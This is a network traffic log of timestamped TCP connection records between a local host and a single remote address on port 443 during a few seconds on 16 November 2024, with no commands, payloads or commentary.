Nov 16, 2024 04:34:04.294611931 CET	443	49888	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.299865007 CET	443	49891	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.299956083 CET	443	49890	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.300225973 CET	49891	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.300251961 CET	443	49891	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.300959110 CET	49891	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.300965071 CET	443	49891	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.301422119 CET	49890	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.301435947 CET	443	49890	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.302052975 CET	49890	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.302059889 CET	443	49890	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.324671984 CET	443	49892	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.325242996 CET	49892	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.325279951 CET	443	49892	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.325932026 CET	49892	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.325942993 CET	443	49892	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.401701927 CET	443	49889	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.402426958 CET	443	49889	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.402638912 CET	49889	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.402640104 CET	49889	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.402640104 CET	49889	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.404721022 CET	49893	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.404820919 CET	443	49893	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.404906034 CET	49893	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.405024052 CET	49893	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.405045033 CET	443	49893	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.424834013 CET	443	49888	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.424993038 CET	443	49888	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.425187111 CET	49888	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.425187111 CET	49888	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.425187111 CET	49888	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.426938057 CET	49894	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.427015066 CET	443	49894	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.427094936 CET	49894	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.427225113 CET	49894	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.427258015 CET	443	49894	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.429891109 CET	443	49890	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.430257082 CET	443	49890	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.430330038 CET	49890	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.430330038 CET	49890	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.430362940 CET	49890	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.430402040 CET	443	49890	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.430494070 CET	443	49891	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.430908918 CET	443	49891	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.430986881 CET	49891	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.431065083 CET	49891	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.431065083 CET	49891	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.431107044 CET	443	49891	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.431134939 CET	443	49891	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.432858944 CET	49895	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.432888031 CET	443	49895	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.432951927 CET	49895	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.433053017 CET	49895	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.433079004 CET	443	49895	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.433491945 CET	49896	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.433525085 CET	443	49896	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.433578014 CET	49896	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.433681011 CET	49896	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.433693886 CET	443	49896	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.455252886 CET	443	49892	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.455529928 CET	443	49892	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.455610037 CET	49892	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.455610037 CET	49892	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.455610037 CET	49892	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.457467079 CET	49897	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.457583904 CET	443	49897	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.457663059 CET	49897	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.457756996 CET	49897	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.457789898 CET	443	49897	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.702099085 CET	49889	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.702136993 CET	443	49889	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.733222008 CET	49888	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.733285904 CET	443	49888	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.764447927 CET	49892	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.764483929 CET	443	49892	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.129542112 CET	443	49893	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.129981041 CET	49893	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.130017996 CET	443	49893	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.130407095 CET	49893	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.130414963 CET	443	49893	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.161061049 CET	443	49894	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.161377907 CET	49894	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.161403894 CET	443	49894	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.161715031 CET	49894	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.161724091 CET	443	49894	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.162214041 CET	443	49895	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.162417889 CET	49895	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.162432909 CET	443	49895	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.162715912 CET	49895	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.162722111 CET	443	49895	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.165222883 CET	443	49896	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.165441036 CET	49896	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.165467024 CET	443	49896	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.165735006 CET	49896	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.165740013 CET	443	49896	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.203246117 CET	443	49897	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.203604937 CET	49897	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.203636885 CET	443	49897	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.203999043 CET	49897	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.204006910 CET	443	49897	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.257165909 CET	443	49893	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.257258892 CET	443	49893	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.257304907 CET	49893	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.257728100 CET	49893	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.257751942 CET	443	49893	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.257766008 CET	49893	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.257772923 CET	443	49893	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.261142015 CET	49898	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.261182070 CET	443	49898	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.261240005 CET	49898	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.261393070 CET	49898	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.261401892 CET	443	49898	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.290462017 CET	443	49895	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.290487051 CET	443	49894	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.290560007 CET	443	49894	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.290607929 CET	49894	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.290734053 CET	443	49895	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.290785074 CET	49895	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.290836096 CET	49894	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.290863991 CET	443	49894	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.290898085 CET	49894	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.290913105 CET	443	49894	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.292186975 CET	49895	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.292202950 CET	443	49895	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.292218924 CET	49895	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.292224884 CET	443	49895	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.294970036 CET	443	49896	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.295125008 CET	443	49896	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.295166016 CET	49896	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.295479059 CET	49899	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.295522928 CET	443	49899	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.295574903 CET	49899	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.296334982 CET	49900	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.296386003 CET	443	49900	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.296436071 CET	49900	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.296677113 CET	49896	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.296689987 CET	443	49896	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.296701908 CET	49896	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.296705961 CET	443	49896	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.297578096 CET	49900	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.297597885 CET	443	49900	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.298064947 CET	49899	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.298079014 CET	443	49899	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.299242973 CET	49901	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.299268007 CET	443	49901	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.299340010 CET	49901	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.299443960 CET	49901	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.299453974 CET	443	49901	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.333323956 CET	443	49897	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.333389044 CET	443	49897	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.333431005 CET	49897	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.333518028 CET	49897	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.333534002 CET	443	49897	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.333545923 CET	49897	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.333553076 CET	443	49897	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.335844994 CET	49902	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.335872889 CET	443	49902	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.335930109 CET	49902	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.336086035 CET	49902	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.336100101 CET	443	49902	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.991106987 CET	443	49898	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.991543055 CET	49898	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.991558075 CET	443	49898	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:05.991988897 CET	49898	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:05.991991997 CET	443	49898	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.027842999 CET	443	49901	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.028143883 CET	49901	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.028157949 CET	443	49901	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.028517008 CET	49901	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.028522968 CET	443	49901	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.033303022 CET	443	49900	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.033736944 CET	49900	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.033770084 CET	443	49900	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.034085989 CET	49900	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.034091949 CET	443	49900	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.038136005 CET	443	49899	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.038403034 CET	49899	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.038430929 CET	443	49899	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.038746119 CET	49899	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.038753986 CET	443	49899	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.065582991 CET	443	49902	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.065882921 CET	49902	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.065891027 CET	443	49902	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.066232920 CET	49902	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.066237926 CET	443	49902	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.119946003 CET	443	49898	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.120058060 CET	443	49898	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.120125055 CET	49898	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.120249987 CET	49898	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.120269060 CET	443	49898	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.120280027 CET	49898	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.120285988 CET	443	49898	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.122633934 CET	49903	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.122685909 CET	443	49903	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.122770071 CET	49903	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.122946978 CET	49903	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.122957945 CET	443	49903	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.168912888 CET	443	49899	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.169157982 CET	443	49899	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.169344902 CET	49899	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.169344902 CET	49899	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.169344902 CET	49899	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.171675920 CET	49904	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.171739101 CET	443	49904	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.171825886 CET	49904	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.171941042 CET	49904	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.171969891 CET	443	49904	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.174242973 CET	443	49900	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.174402952 CET	443	49900	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.174487114 CET	49900	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.174488068 CET	49900	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.174562931 CET	49900	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.174598932 CET	443	49900	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.176026106 CET	49905	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.176063061 CET	443	49905	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.176126957 CET	49905	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.176233053 CET	49905	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.176245928 CET	443	49905	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.197199106 CET	443	49902	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.197361946 CET	443	49902	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.197453022 CET	49902	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.197453976 CET	49902	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.197453976 CET	49902	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.199050903 CET	49906	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.199093103 CET	443	49906	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.199162960 CET	49906	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.199259043 CET	49906	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.199276924 CET	443	49906	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.314544916 CET	443	49901	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.314637899 CET	443	49901	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.314670086 CET	49901	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.314738989 CET	49901	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.314757109 CET	443	49901	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.314769983 CET	49901	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.314775944 CET	443	49901	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.316729069 CET	49907	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.316767931 CET	443	49907	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.316839933 CET	49907	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.316940069 CET	49907	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.316951036 CET	443	49907	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.388303995 CET	49899	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.388370037 CET	443	49899	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.497713089 CET	49902	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.497785091 CET	443	49902	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.868038893 CET	443	49903	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.868480921 CET	49903	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.868504047 CET	443	49903	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.868946075 CET	49903	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.868951082 CET	443	49903	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.912496090 CET	443	49905	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.912834883 CET	49905	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.912858963 CET	443	49905	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.913173914 CET	49905	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.913178921 CET	443	49905	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.947638988 CET	443	49906	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.948020935 CET	49906	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.948127985 CET	443	49906	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.948333979 CET	49906	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.948350906 CET	443	49906	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.953906059 CET	443	49904	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.954319000 CET	49904	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.954346895 CET	443	49904	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.954660892 CET	49904	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.954672098 CET	443	49904	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.999178886 CET	443	49903	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.999361992 CET	443	49903	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:06.999545097 CET	49903	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.999545097 CET	49903	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:06.999545097 CET	49903	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.003809929 CET	49908	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.003843069 CET	443	49908	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.003905058 CET	49908	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.004040956 CET	49908	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.004050970 CET	443	49908	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.043468952 CET	443	49905	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.043628931 CET	443	49905	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.043736935 CET	49905	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.044143915 CET	49905	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.044163942 CET	443	49905	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.044174910 CET	49905	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.044181108 CET	443	49905	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.045833111 CET	443	49907	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.056128979 CET	49907	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.056142092 CET	443	49907	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.056523085 CET	49907	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.056525946 CET	443	49907	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.058192968 CET	49909	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.058281898 CET	443	49909	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.058363914 CET	49909	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.058466911 CET	49909	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.058485031 CET	443	49909	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.081825018 CET	443	49906	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.083288908 CET	443	49906	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.083374023 CET	49906	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.083651066 CET	49906	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.083698988 CET	443	49906	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.083729982 CET	49906	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.083745956 CET	443	49906	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.091689110 CET	443	49904	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.091880083 CET	443	49904	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.091943026 CET	49904	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.095952988 CET	49904	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.095952988 CET	49904	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.095969915 CET	443	49904	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.095989943 CET	443	49904	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.171498060 CET	49910	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.171529055 CET	443	49910	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.171588898 CET	49910	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.177161932 CET	49911	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.177246094 CET	443	49911	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.177320957 CET	49911	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.179929018 CET	49910	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.179944038 CET	443	49910	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.180047989 CET	49911	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.180095911 CET	443	49911	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.180754900 CET	443	49907	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.180897951 CET	443	49907	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.180948973 CET	49907	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.183377028 CET	49907	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.183381081 CET	443	49907	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.183391094 CET	49907	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.183396101 CET	443	49907	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.198376894 CET	49912	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.198419094 CET	443	49912	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.198487997 CET	49912	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.198599100 CET	49912	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.198637009 CET	443	49912	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.310163021 CET	49903	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.310184956 CET	443	49903	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.753386974 CET	443	49908	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.753855944 CET	49908	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.753874063 CET	443	49908	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.754262924 CET	49908	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.754267931 CET	443	49908	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.793091059 CET	443	49909	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.793669939 CET	49909	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.793730974 CET	443	49909	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.793977976 CET	49909	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.793992996 CET	443	49909	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.886147976 CET	443	49908	13.107.246.45	192.168.2.4
